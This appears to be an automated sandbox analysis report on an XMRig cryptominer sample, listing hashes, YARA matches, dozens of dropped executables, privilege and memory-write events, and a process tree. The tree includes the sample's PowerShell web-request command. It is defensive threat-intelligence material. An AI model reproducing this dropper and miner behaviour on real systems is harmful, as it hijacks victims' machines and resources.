xmrig | 1381bf81d77477dc1d08f83a89ff98b42a1df87887f633d82e9d9202c9025802

Analysis

max time kernel
22s
max time network
34s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
29/04/2024, 04:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
Size

2.3MB
MD5

06da40cbdefec1cc179fe6ca2ceb0a49
SHA1

f4149b57a944b94006e7fdb0c8709cba74bb4148
SHA256

1381bf81d77477dc1d08f83a89ff98b42a1df87887f633d82e9d9202c9025802
SHA512

acaeea9c1157c4b998ac9ba69509338abc5440fe23845e198f1e54a12650d5e281446586999c2ebcd2321598c46b2342f7a16bcc761bd7f1010c3b0b24524e79
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTKUANMXc:NABi

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral1/memory/2328-78-0x000000013F6F0000-0x000000013FAE2000-memory.dmp	xmrig
behavioral1/memory/2512-86-0x000000013FA10000-0x000000013FE02000-memory.dmp	xmrig
behavioral1/memory/2620-92-0x000000013FCF0000-0x00000001400E2000-memory.dmp	xmrig
behavioral1/memory/2704-91-0x000000013FC60000-0x0000000140052000-memory.dmp	xmrig
behavioral1/memory/376-88-0x000000013F780000-0x000000013FB72000-memory.dmp	xmrig
behavioral1/memory/2916-87-0x000000013F220000-0x000000013F612000-memory.dmp	xmrig
behavioral1/memory/2780-80-0x000000013F910000-0x000000013FD02000-memory.dmp	xmrig
behavioral1/memory/2664-38-0x000000013FB50000-0x000000013FF42000-memory.dmp	xmrig
behavioral1/memory/2984-32-0x000000013F680000-0x000000013FA72000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
2984	pnYRxRT.exe
2664	uaLZpOT.exe
2704	JLDhZFe.exe
2328	MvBobCa.exe
2780	vIaTeYS.exe
2620	SsSslJb.exe
2512	cgequIX.exe
2916	nuhMCtA.exe
376	ypowwIB.exe
1368	wnBQNOJ.exe
2740	GLpwrKj.exe
2524	APRGfdP.exe
2548	hPeELWa.exe
1784	JEsYiVS.exe
1944	etXsOqw.exe
1340	vlCtfLD.exe
1172	ZxBpfPT.exe
2108	msPXyeF.exe
2812	NiOrxVM.exe
1484	AKeXjpQ.exe
1432	cZpZiSI.exe
2856	LpbIpuE.exe
108	CSCDpbI.exe
1864	NbqIQgm.exe
2360	hFGVccv.exe
2096	kyGLUbI.exe
1376	yspNBka.exe
1220	ICNMTVe.exe
2416	aNfgyGD.exe
1040	yVYOZqF.exe
996	SBDZedx.exe
1284	kMixuGX.exe
3068	qzyTpbG.exe
1320	tvwvpHb.exe
3004	olCaZeF.exe
768	zJiwmrR.exe
2112	PKDLsyA.exe
1712	scRCBau.exe
2060	wLYxyCa.exe
568	Dfvwoov.exe
1448	ablRPFf.exe
2148	nNaFDDE.exe
1636	tlKcnMr.exe
1540	DZqrBhO.exe
1932	CsaAVuX.exe
1804	QszaYXb.exe
3040	KsyvBVO.exe
3064	mHeIGLa.exe
2864	CPmRbpx.exe
3044	vKhaGFc.exe
788	rzIToFq.exe
1640	bdPeJZa.exe
892	EnSYQlE.exe
1616	PdPRcJJ.exe
2072	GUhBGiy.exe
2576	WwbYONw.exe
2516	cxfLDUZ.exe
1880	jZkMaoi.exe
2024	VkdclDW.exe
2832	DxhnNHB.exe
2264	lCgjzCY.exe
1792	mmOSwQy.exe
1100	nNSvmnY.exe
2908	tLzfuJd.exe

Loads dropped DLL 64 IoCs

pid	Process
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe

UPX packed file 43 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1576-0-0x000000013F540000-0x000000013F932000-memory.dmp	upx
behavioral1/files/0x0007000000016c57-14.dat	upx
behavioral1/files/0x0007000000016c5b-30.dat	upx
behavioral1/files/0x0006000000016d79-60.dat	upx
behavioral1/memory/2328-78-0x000000013F6F0000-0x000000013FAE2000-memory.dmp	upx
behavioral1/files/0x0009000000016ca1-82.dat	upx
behavioral1/memory/2512-86-0x000000013FA10000-0x000000013FE02000-memory.dmp	upx
behavioral1/files/0x000500000001871c-148.dat	upx
behavioral1/files/0x0006000000016d7d-47.dat	upx
behavioral1/files/0x0006000000017577-114.dat	upx
behavioral1/files/0x000500000001925a-190.dat	upx
behavioral1/files/0x0007000000017436-167.dat	upx
behavioral1/files/0x00060000000173e5-165.dat	upx
behavioral1/files/0x000500000001878f-160.dat	upx
behavioral1/files/0x003700000001650f-158.dat	upx
behavioral1/files/0x0005000000018749-151.dat	upx
behavioral1/files/0x000600000001738e-147.dat	upx
behavioral1/files/0x000500000001870e-142.dat	upx
behavioral1/files/0x000600000001708c-136.dat	upx
behavioral1/files/0x000d000000018689-132.dat	upx
behavioral1/files/0x00060000000175fd-124.dat	upx
behavioral1/files/0x00130000000054a8-107.dat	upx
behavioral1/files/0x0007000000016d73-100.dat	upx
behavioral1/files/0x000600000001902f-173.dat	upx
behavioral1/files/0x00050000000186a2-141.dat	upx
behavioral1/files/0x0006000000017603-130.dat	upx
behavioral1/files/0x0005000000019254-182.dat	upx
behavioral1/files/0x00060000000175f7-122.dat	upx
behavioral1/files/0x00060000000174ef-112.dat	upx
behavioral1/memory/2620-92-0x000000013FCF0000-0x00000001400E2000-memory.dmp	upx
behavioral1/memory/2704-91-0x000000013FC60000-0x0000000140052000-memory.dmp	upx
behavioral1/memory/376-88-0x000000013F780000-0x000000013FB72000-memory.dmp	upx
behavioral1/memory/2916-87-0x000000013F220000-0x000000013F612000-memory.dmp	upx
behavioral1/memory/2780-80-0x000000013F910000-0x000000013FD02000-memory.dmp	upx
behavioral1/files/0x000600000001738f-79.dat	upx
behavioral1/files/0x00060000000171ad-62.dat	upx
behavioral1/files/0x0006000000016fa9-61.dat	upx
behavioral1/memory/2664-38-0x000000013FB50000-0x000000013FF42000-memory.dmp	upx
behavioral1/memory/2984-32-0x000000013F680000-0x000000013FA72000-memory.dmp	upx
behavioral1/files/0x0008000000016ccd-31.dat	upx
behavioral1/files/0x0007000000016c3a-29.dat	upx
behavioral1/files/0x003700000001640f-12.dat	upx
behavioral1/files/0x000c0000000122ee-6.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\yWSNTLB.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\PFqFwCN.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\OKedbpH.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\MmUfAmQ.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\TylSvWV.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\dwWvIyq.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\xLToQGf.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\JZtqHCC.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\VwBmFPa.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\JYeZWSZ.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\WRDCoTy.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\nNaFDDE.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\pybpeAa.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\xYTJQse.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\PNrkVGD.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\YeKQWCw.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\pHcSaED.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\COFENlN.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\FNPiBGA.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\rANcbAK.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\rgBLOrc.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\ablRPFf.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\KeVeGqO.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\UWHEUoV.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\tFmuOHo.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\DFJKSli.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\DxhnNHB.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\ijJuRkr.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\HFsuWFe.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\UvLOhdu.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\fQMqoZa.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\IUFmbNQ.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\uwCiTME.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\OxWUzXi.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\ZJWiORt.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\QgYzpMn.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\ExNFqJP.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\pVmVZuf.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\pzcOiSH.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\RUCKmSO.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\ZqXTQtu.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\RPpvxBL.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\jwZiJxr.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\DijTtDv.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\XuRoHDC.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\WnEcJby.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\yUmFCkq.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\XIEMQVH.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\OEsYggH.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\vVBaltc.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\oLSedJj.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\EnSYQlE.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\aQjSNdU.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\JpNPgdZ.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\htpcYJm.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\EkDiMsn.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\IfMmSOA.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\CDylnIz.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\bdPeJZa.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\szssWZK.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\RtewHPl.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\RpiXjwv.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\FIEHfvS.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
File created	C:\Windows\System\BeBlxez.exe	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 2564	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	29
PID 1576 wrote to memory of 2564	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	29
PID 1576 wrote to memory of 2564	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	29
PID 1576 wrote to memory of 2984	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	30
PID 1576 wrote to memory of 2984	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	30
PID 1576 wrote to memory of 2984	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	30
PID 1576 wrote to memory of 2664	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	31
PID 1576 wrote to memory of 2664	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	31
PID 1576 wrote to memory of 2664	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	31
PID 1576 wrote to memory of 2704	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	32
PID 1576 wrote to memory of 2704	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	32
PID 1576 wrote to memory of 2704	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	32
PID 1576 wrote to memory of 2620	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	33
PID 1576 wrote to memory of 2620	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	33
PID 1576 wrote to memory of 2620	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	33
PID 1576 wrote to memory of 2328	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	34
PID 1576 wrote to memory of 2328	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	34
PID 1576 wrote to memory of 2328	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	34
PID 1576 wrote to memory of 2740	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	35
PID 1576 wrote to memory of 2740	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	35
PID 1576 wrote to memory of 2740	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	35
PID 1576 wrote to memory of 2780	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	36
PID 1576 wrote to memory of 2780	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	36
PID 1576 wrote to memory of 2780	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	36
PID 1576 wrote to memory of 2524	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	37
PID 1576 wrote to memory of 2524	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	37
PID 1576 wrote to memory of 2524	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	37
PID 1576 wrote to memory of 2512	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	38
PID 1576 wrote to memory of 2512	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	38
PID 1576 wrote to memory of 2512	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	38
PID 1576 wrote to memory of 2548	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	39
PID 1576 wrote to memory of 2548	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	39
PID 1576 wrote to memory of 2548	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	39
PID 1576 wrote to memory of 2916	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	40
PID 1576 wrote to memory of 2916	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	40
PID 1576 wrote to memory of 2916	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	40
PID 1576 wrote to memory of 2108	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	41
PID 1576 wrote to memory of 2108	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	41
PID 1576 wrote to memory of 2108	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	41
PID 1576 wrote to memory of 376	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	42
PID 1576 wrote to memory of 376	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	42
PID 1576 wrote to memory of 376	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	42
PID 1576 wrote to memory of 1484	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	43
PID 1576 wrote to memory of 1484	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	43
PID 1576 wrote to memory of 1484	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	43
PID 1576 wrote to memory of 1368	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	44
PID 1576 wrote to memory of 1368	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	44
PID 1576 wrote to memory of 1368	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	44
PID 1576 wrote to memory of 108	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	45
PID 1576 wrote to memory of 108	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	45
PID 1576 wrote to memory of 108	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	45
PID 1576 wrote to memory of 1784	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	46
PID 1576 wrote to memory of 1784	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	46
PID 1576 wrote to memory of 1784	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	46
PID 1576 wrote to memory of 1864	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	47
PID 1576 wrote to memory of 1864	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	47
PID 1576 wrote to memory of 1864	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	47
PID 1576 wrote to memory of 1944	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	48
PID 1576 wrote to memory of 1944	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	48
PID 1576 wrote to memory of 1944	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	48
PID 1576 wrote to memory of 2360	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	49
PID 1576 wrote to memory of 2360	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	49
PID 1576 wrote to memory of 2360	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	49
PID 1576 wrote to memory of 1340	1576	06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\06da40cbdefec1cc179fe6ca2ceb0a49_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\System\pnYRxRT.exe
  C:\Windows\System\pnYRxRT.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\uaLZpOT.exe
  C:\Windows\System\uaLZpOT.exe
  2⤵
  - Executes dropped EXE
  PID:2664
- C:\Windows\System\JLDhZFe.exe
  C:\Windows\System\JLDhZFe.exe
  2⤵
  - Executes dropped EXE
  PID:2704
- C:\Windows\System\SsSslJb.exe
  C:\Windows\System\SsSslJb.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\MvBobCa.exe
  C:\Windows\System\MvBobCa.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\GLpwrKj.exe
  C:\Windows\System\GLpwrKj.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\vIaTeYS.exe
  C:\Windows\System\vIaTeYS.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\APRGfdP.exe
  C:\Windows\System\APRGfdP.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\cgequIX.exe
  C:\Windows\System\cgequIX.exe
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Windows\System\hPeELWa.exe
  C:\Windows\System\hPeELWa.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\nuhMCtA.exe
  C:\Windows\System\nuhMCtA.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\msPXyeF.exe
  C:\Windows\System\msPXyeF.exe
  2⤵
  - Executes dropped EXE
  PID:2108
- C:\Windows\System\ypowwIB.exe
  C:\Windows\System\ypowwIB.exe
  2⤵
  - Executes dropped EXE
  PID:376
- C:\Windows\System\AKeXjpQ.exe
  C:\Windows\System\AKeXjpQ.exe
  2⤵
  - Executes dropped EXE
  PID:1484
- C:\Windows\System\wnBQNOJ.exe
  C:\Windows\System\wnBQNOJ.exe
  2⤵
  - Executes dropped EXE
  PID:1368
